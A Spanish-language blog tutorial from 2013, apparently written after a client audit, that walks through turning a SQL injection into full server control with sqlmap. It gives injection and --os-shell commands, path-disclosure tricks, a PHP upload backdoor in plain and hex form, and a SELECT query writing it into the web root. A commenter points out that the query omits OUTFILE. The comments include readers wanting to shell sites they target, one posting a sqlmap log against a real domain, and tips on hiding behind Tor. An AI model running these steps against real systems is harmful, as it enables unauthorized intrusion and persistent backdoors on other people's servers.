jueves, 10 de enero de 2013

SQL Injection to Shell with SQLMap



Hace algunos días auditando un Servidor Web (universidad) basada en Apache 1.3.26, PHP 4.2.1 a un cliente, me tope con la típica vulnerabilidad de Inyección de Código Sql, la cual permite fácilmente obtener toda la base de datos del servidor, entonces de inmediato empece a inyectar manualmente pero para mi suerte!!! ninguna de las inyecciones y bypasses dio resultado, entonces me pregunte ¿Por que? si es una vulnerabilidad peligrosa y fácilmente explotable, pero luego analizando nuevamente di con el resultado que era un simple FP (falso positivo).

Después de terminar el nuevo análisis  encontré otra vulnerabilidad de Inyección de Código Sql, mostrándome el famoso error:


-----------------------------------------------------------------------------------------------------------------
You have an error in your SQL syntax near '' order by gal_id desc limit 5' at line 1
------------------------------------------------------------------------------------------------------------------

Entonces basándome en el resultado anterior del FP, decidí utilizar la famosa herramienta SQLMap para comprobar si realmente el sitio era vulnerable a esta inyección  para ello use el comando mas simple pero muchas veces eficiente que cuenta SQLMap:

  • ./sqlmap.py -u http://www.sitio-web.com/parametro-vulnerable?txt_palabra=isep --dbs

Pero para mi mayor suerte! la herramienta devolvió el siguiente resultado:


A partir de ese error empece a preocuparme! pues el cliente necesitaba el trabajo lo mas antes posible, pero como para mi no hay nada imposible (sin presumir), opte por utilizar las técnicas y comandos mas avanzados que cuenta SQLMap, pero antes de eso tenia que comprobar si el usuario que estaba inyectando era user o root, para ello utilice el siguiente comando:

  • ./sqlmap.py -u http://www.sitio-web.com/parametro-vulnerable?txt_palabra=isep --current-user

Obteniendo el siguiente resultado:


Al apreciar el resultado como "none" deduje que el usuario era "root" entonces en lo primero que pensé fue en subir una web shell desde SQLMap, pero antes de realizar ese paso, tenia que obtener un Full Path Disclosure pero ¿Para que necesito un FPD? muy facil, al momento que necesitemos subir una web shell desde SQLMap, esta nos pedirá que coloquemos el PATH completo del servidor, caso contrario esta no dará resultado.

Ejemplos de obtener un Full Path Disclosure mediante Sql Injection:

  • http://www.sitio-web.com/parametro-vulnerable?txt_palabra=isep Veremos un Sql Injection
  • http://www.sitio-web.com/parametro-vulnerable?txt_palabra=[]isep Veremos un Full Path Disclosure
  • http://www.sitio-web.com/parametro-vulnerable?txt_palabra=huey Veremos un Full Path Disclosure
  • http://www.sitio-web.com/parametro-vulnerable?txt_palabra=isep! Veremos un Full Path Disclosure
  • http://www.sitio-web.com/parametro-vulnerable?txt_palabra='isep' Veremos un Full Path Disclosure

Otro método que también funciona para obtener un FPD es cambiando las cookies, por ejemplo si tenemos nuestras cookies PHPSESSID=13882931834931984318 simplemente queda borrar los números  quedando solamente el PHPSESSID= esto se puede realizar utilizando el Addon Live HTTP Headers.

Después de realizar estos pasos para obtener un Full Path Disclosure, el resultado fue exitoso, mostrándome el siguiente mensaje:

------------------------------------------------------------------------------------------------------------------
Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /espejo/htdocs.v2/portalnuevo/buscadores/portal_contenidos.php on line 79
------------------------------------------------------------------------------------------------------------------

Conociendo el path completo del servidor, solo me faltaba buscar el código php de un upload para convertirlo en HEX e inyectarlo en el SQLMap. Seguidamente tenia que convertir el siguiente código a HEX:

------------------------------------------------------------------------------------------------------------------
<form enctype="multipart/form-data" action="upload.php" method="POST"><input name="uploadedfile" type="file"/><input type="submit" value="Upload File"/></form> <?php $target_path=basename($_FILES['uploadedfile']['name']);if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'],$target_path)){echo basename($_FILES['uploadedfile']['name'])." has been uploaded";}else{echo "Error!";}?>
------------------------------------------------------------------------------------------------------------------

Ahora entre al sitio web http://www.string-functions.com/string-hex.aspx y coloque el código del upload para convertirlo a HEX, dando como resultado lo siguiente:

------------------------------------------------------------------------------------------------------------------
3c666f726d20656e63747970653d226d756c7469706172742f666f726d2d646174612220616374696f6e3d2275706c6f61642e70687022206d6574686f643d22504f5354223e3c696e707574206e616d653d2275706c6f6164656466696c652220747970653d2266696c65222f3e3c696e70757420747970653d227375626d6974222076616c75653d2255706c6f61642046696c65222f3e3c2f666f726d3e0d0a3c3f70687020247461726765745f706174683d626173656e616d6528245f46494c45535b2775706c6f6164656466696c65275d5b276e616d65275d293b6966286d6f76655f75706c6f616465645f66696c6528245f46494c45535b2775706c6f6164656466696c65275d5b27746d705f6e616d65275d2c247461726765745f7061746829297b6563686f20626173656e616d6528245f46494c45535b2775706c6f6164656466696c65275d5b276e616d65275d292e2220686173206265656e2075706c6f61646564223b7d656c73657b6563686f20224572726f7221223b7d3f3e
------------------------------------------------------------------------------------------------------------------


Realizado todo lo anterior, entre nuevamente a SQLMap y coloque el siguiente comando para moverme por el servidor mediante comandos SQL.

  • ./sqlmap.py -u http://www.sitio-web.com/parametro-vulnerable?txt_palabra=isep --sql-shell




Ahora como ya tenia el control del servidor mediante comandos SQL, tenia que inyectar con SELECT + 0x + Codigo HEX + INTO OUTFILE + Full Path + Nombre del Upload, quedando la inyección de la siguiente manera:

------------------------------------------------------------------------------------------------------------------
select 0x3c666f726d20656e63747970653d226d756c7469706172742f666f726d2d646174612220616374696f6e3d2275706c6f61642e70687022206d6574686f643d22504f5354223e3c696e707574206e616d653d2275706c6f6164656466696c652220747970653d2266696c65222f3e3c696e70757420747970653d227375626d6974222076616c75653d2255706c6f61642046696c65222f3e3c2f666f726d3e0d0a3c3f70687020247461726765745f706174683d626173656e616d6528245f46494c45535b2775706c6f6164656466696c65275d5b276e616d65275d293b6966286d6f76655f75706c6f616465645f66696c6528245f46494c45535b2775706c6f6164656466696c65275d5b27746d705f6e616d65275d2c247461726765745f7061746829297b6563686f20626173656e616d6528245f46494c45535b2775706c6f6164656466696c65275d5b276e616d65275d292e2220686173206265656e2075706c6f61646564223b7d656c73657b6563686f20224572726f7221223b7d3f3e 
into "/espejo/htdocs.v2/portalnuevo/buscadores/upload.php"; 
------------------------------------------------------------------------------------------------------------------

En la cual SQLMap devuelve el siguiente resultado, indicando que el upload subió perfectamente sin problema alguno, como se muestra en la siguiente imagen:



Ahora solo me quedaba abrir mi navegador y dirigirme a la ruta en la cual subí el upload.php la cual fue totalmente un éxito.



Bien ahora como ya tenia el upload.php y mi objetivo era obtener el control total del servidor, subi una web shell la cual se ejecuto perfectamente.


------------------------------------------------------------------------------------------------------------------

Como ya es de conocimiento SQLMap contiene una series de comandos que nos ayuda mucho al momento que estamos realizando una auditoria, pues también ofrece un comando para subir una web shell de una forma mas rápida a la forma de dicha herramienta.

El comando --os-shell en SQLMap permitirá subir un uploader (sqlmap file uploader) algo parecido a lo anterior pero al estilo SQLMap :)

Para realizar este paso utilizando dicho comando, teclearemos en la herramienta lo siguiente:

  • ./sqlmap.py -u http://www.sitio-web.com/parametro-vulnerable?txt_palabra=isep --os-shell

La herramienta nos preguntara en que lenguaje de programación esta basada el sitio web, en este caso el sitio web que ando auditando esta en PHP, por lo que sqlmap lo enumera como (default) tal cual se muestra en la siguiente imagen:



Después de colocar el numero por default o simplemente presionando enter, la herramienta nos pedirá que coloquemos el path completo del servidor la cual hemos obtenido mediante un Full Path Disclosure, después de ello, confirmaremos dicho path para que la herramienta trate de subir el uplader en el servidor.


Seguidamente si hemos colocado el path correctamente, obtendremos el uploader en el servidor, esta se nombra muchas veces como tmpjdjsk.php.


Ahora para confirmar y visualizar el uploader que subió la herramienta, abriremos la URL que la misma nos proporciono, apreciando-la de la siguiente manera:



Desde allí podemos subir nuestra web shell o cualquier archivo que nos gustaría tener dentro del servidor web.

Después que la herramienta ha realizado todo lo anterior, nos deja una session del os-shell para movernos por el servidor mediante comandos como ls - dir - cat u otros. Esto se puede ya que en si es un backdoor que SQLMap ha subido al servidor.

Ejemplo del comando cat /etc/passwd:


Ejemplo del comando uname -a y ls:


Y por ultimo la web que hemos auditado ha quedado totalmente vulnerado.

Bueno, esto fue lo que me paso hace algunos dias, lo escribo no tal solo por aburrirlos, si no para que quiza alguno de ustedes lo ponga en practica en sus Pruebas de Penetración.

Espero les sirva, un saludo y hasta la próxima ;)

21 comentarios:

  1. Muy interesante las tecnicas aplicadas, pero tengo una duda por que cuando aparecio como privilegios: None supusiste que estaba corriendo como usuario root?
    No deberia ser que el usuario tiene los minimos privilegios o algo parecido?

    ResponderEliminar
    Respuestas
    1. Hola,

      En el post dije que "deduje" cosa que puede ser un si o no.

      Saludos.

      Eliminar
  2. Hola hermano primeramente bien explicado..! solo tengo una pregunta brother quisiera saber donde puedo conseguir un TUTORIAL DE SQLMAP AVANZADO con sus COMANDOS avanzados.! ya que utilizo esta herramienta pero solo con el clasico comando ./sqlmap.py -u http://www.sitio-web.com/parametro-vulnerable?txt_palabra=isep --dbs XD de ante mano muchas gracias por leer mi comens..1 SALUDOS.!

    ResponderEliminar
    Respuestas
    1. hacerlo con las opciones basicas es muy peligro ya que dejas huella en sus log y sobre tu ip publica esta muy expuesta, necesitas utilizar una vpn o configurar TOR para proteger tu identidad, dale una revisada a esto.
      http://ednolo.alumnos.upv.es/?p=1336

      Eliminar
  3. Gracias por el tutorial xD, a practicar se ha dicho....

    ResponderEliminar
  4. Eres un puto MAQUINA.

    ATTE: BTshell.

    ResponderEliminar
  5. muy buena justamente andaba buscando la manera de subir shell a un sitio que tengo entre manos.

    ResponderEliminar
  6. Gracias! por la info. pero tengo una duda. es nesesario que sea usaria root ??

    ResponderEliminar
  7. Hola Caleb, buen trabajo.

    Tengo una duda muy concreta acerca del sqlmap, no tiene nada que ver con como utilizarlo, ni ninguna duda que no pueda resolver buscando en google. Se trata de una información en binario muy extraña que quizá usted con sus conocimientos pueda decirme algo al respecto. ( Y no se trata de ningún de que este cifrado ) creo que tengo un resumen en binario de un hash... algo muy muy extraño, para más detalles lo prefiero por email ya qye estamos hablando de información confidencial, el servidor que estoy auditando lo he montado yo pero no se que está pasando, me gustaría facilitarle los detalles por email.

    ¿Me podrías facilitar tu email para estar en contacto?

    ResponderEliminar
    Respuestas
    1. Hola,

      Podes contactar conmigo a las siguiente direcciones:

      GMAIL: calebbucker@gmail.com
      HOTMAIL: caleb.drugs@hotmail.com
      SKYPE: bucker.caleb

      Saludos.

      Eliminar
  8. Y como haría si el current user no es "none"?

    ResponderEliminar
  9. exelente tuto bro , muy interesante, y ahi estudiar se ha dicho xD

    ResponderEliminar
  10. Pues lo mismo pero con el usuario que te ha salido...

    ResponderEliminar
  11. me excite la puta madre llegue al orgasmo ¿te tragas mi leche?

    ResponderEliminar
  12. Muy bien explicado... Te felicito :)
    Gracias

    ResponderEliminar
  13. Hola, mira yo llego con los comandos tipicos hasta un ligar donde me da admin y sale admin y pasword sale hackeado pero no es ese como ago para sacar el password y usuario?

    ResponderEliminar
  14. tengo que ser usuario root para hacer la inyeccion del codigo "upload.php" ??

    ResponderEliminar
  15. Interesante artículo aunque estaría bien saber porqué funciona. Probando en un sistema linux actual esto no funciona. De buenas a primeras porque select ... into outfile no deja escribir el fichero donde a uno le da la gana, ni siquiera aunque el usuario conectado a mysql fuera el usuario root de la base de datos, sino solo donde el servidor mysql tiene permisos suficiente. Y eso significa directorios públicos para todo el mundo como /tmp o directorios donde pueda escribir el usuario mysql o el grupo mysql. Por tanto no es posible inyectar el uploader en el espacio web como aquí se hace, ni con el shell sql ni con el os shell porque mysql no tiene permiso de escribir ahí.
    Pero siendo el sistema analizado bastante antiguo por las versiones de software y a saber si corriendo bajo Windows, o si se está ejecutando el servidor mysqld con permisos de root, quien sabe la razón exacta de porqué funciona este método.
    Lo dicho interesante. Por cierto aunque no es importante hay una pequeña errata en la consulta SELECT. Antes de mostrar el select explica usted la sintaxis correctamente pero después cuando escribe el SELECT escribe solamente INTO en vez de INTO OUTFILE.

    ResponderEliminar
  16. ayuda bro que estoy haciendo mal explicame please

    [02:21:27] [INFO] the back-end DBMS is MySQL

    web application technology: Apache 2, PHP 5.3.6
    back-end DBMS: MySQL 5.0.11
    [02:21:27] [INFO] going to use a web backdoor for command prompt
    [02:21:27] [INFO] fingerprinting the back-end DBMS operating system
    [02:21:27] [INFO] the back-end DBMS operating system is Linux
    [02:21:27] [INFO] trying to upload the file stager
    which web application language does the web server support?
    [1] ASP
    [2] ASPX
    [3] PHP (default)
    [4] JSP
    > 4

    [02:21:31] [WARNING] unable to retrieve the web server document root
    please provide the web server document root [/var/www/]: /home/stol/domains/shorttrackonline.info/public_html/

    [02:21:37] [WARNING] unable to retrieve any web server path
    please provide any additional web server full path to try to upload the agent [Enter for None]: /home/stol/domains/shorttrackonline.info/public_html/

    [02:21:46] [WARNING] unable to upload the file stager on '/home/stol/domains/shorttrackonline.info/public_html'
    [02:21:47] [WARNING] HTTP error codes detected during testing:
    404 (Not Found) - 2 times
    [02:21:47] [INFO] fetched data logged to text files under '/pentest/database/sqlmap/output/www.shorttrackonline.info'

    [*] shutting down at 02:21:47

    ResponderEliminar